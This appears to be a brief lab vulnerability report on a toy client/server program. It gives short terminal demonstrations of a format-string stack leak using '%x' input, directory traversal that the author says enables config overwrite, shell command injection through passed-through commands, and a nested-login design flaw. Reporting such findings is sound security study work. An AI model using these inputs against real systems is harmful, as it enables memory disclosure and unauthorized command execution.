Team 8

Format string

- The format string vulnerability is on the client side when the client prints out where the program is trying to connect to.
  The following exploit shows arbitrary read.

```
mc08 86 $ ./client %x%x%x%x 31337
Connecting to 005dbf42c05e2ef700 : 31337
inet_pton error occured
: Success
mc08 87 $
```

Directory traversal

- There is no directory structure implemented and the client can traverse anywhere he wishes to.

```
$ login root
$ pass root
Welcome!
$ ls
client
server
sploit.conf
cd /u
$ ls
$
ls (null)
antor
data
scratch1
u12
u13
u24
u4
u6
u7
u90
u99
```

- This can be used to overwrite the configuration file and thus allows for command injection.

Command injection

- All commands are passed to shell?

```
$ login root
$ pass root
Welcome!
$ ps
  PID TTY          TIME CMD
23742 pts/4    00:00:00 bash
26886 pts/4    00:00:17 server
26893 pts/4    00:00:00 ps
rm
$
rm: missing operand
Try 'rm --help' for more information.
$
```

Design Bugs

Only listing those which I found interesting

- Loginception

```
login root
$ pass root
Welcome!
$ whoami
root
$ login Acidburn
$ pass CrashOverride
Welcome!
$ whoami
Acidburn
$ w
Acidburn
root
$ logout
Logged out...
$ whoami
root
$ w
root
```